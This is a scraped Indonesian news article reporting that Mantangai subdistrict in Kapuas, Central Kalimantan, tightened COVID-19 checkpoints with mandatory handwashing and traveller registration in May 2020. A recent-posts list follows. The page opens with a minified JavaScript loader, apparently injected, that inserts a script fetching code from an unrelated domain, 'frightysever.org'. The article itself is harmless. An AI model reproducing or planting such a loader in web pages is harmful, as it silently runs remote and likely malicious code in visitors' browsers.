(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pejalan Kaki dan Pengendara Wajib Cuci Tangan, Kecamatan Mantangai Perketat Pengawasan


KANALKALIMANTAN.COM, KAPUAS– Pemerintah Kecamatan Mantangai, Kabupaten Kapuas, Kalimantan Tengah, cukup serius mengantisipasi penyebaran virus corona (Covid-19) di wilayah itu. Pengawasan di seluruh pintu masuk ke wilayah tersebut diperketat.

Salah satu pintu masuk menuju Kecamatan Mantangai, tepatnya di desa lamunti, petugas melakukan sistem pemeriksaan menyeluruh. Mereka melakukan pengecekan kendaraan atau penduduk yang hendak masuk dan ke luar wilayah Kecamatan Mantangai, Kamis (14/05/2020) sore.

Camat Mantangai Yunius Tunggal, mengatakan, hampir semua desa di wilayah kecamatan mantangai ini sudah dibangun posko terkait pencegahan pandemi covid-19.

“Yang terpantau sudah ada 10 desa yang sudah mendirikan posko desa. Yang wajib itu di pintu -pintu masuk. Seperti di Desa Bukit Batu, Desa Lapetan, Desa Muroy Raya juga Desa Danau Rawah sudah ada posko. Begitu juga di beberapa titik penting lainnya, pintu masuk dari wilayah selatan kecamatan ini,” beber dia.

Yunius menambahkan, kegiatan yang dilakukan petugas di posko merupakan salah satu upaya untuk mencegah masuknya Covid-19 di wilayah Kecamatan Mantangai.

“Baik pejalan kaki maupun yang menggunakan kendaraan, wajib turun untuk mencuci tangan menggunakan sabun cuci tangan yang disiapkan petugas. Dan bagi warga pendatang baru atau pelaku perjalanan, wajib mengisi data terkait identitas diri dan riwayat perjalanannya, dan harus jujur dengan petugas. Misalnya dia datang atau pulang dari mana dan tujuan ke mana. Data-data dari posko desa kemudian dikirim ke posko kecamatan, yang selanjutnya diteruskan ke posko kabupaten di Kapuas,” ucapnya.

“Hendaknya masyarakat bisa menjadi polisi untuk dirinya sendiri. Masyarakat wajib hukumnya untuk menaati himbauan protokoler Kemenkes RI, Maklumat Kapolri dan Surat Edaran Bupati Kapuas, Pelaku perjalanan harus dikarantina selama 14 hari dan melakukan Pola Hidup Bersih dan Sehat (PHBS),” ujar dia. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Dhani

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.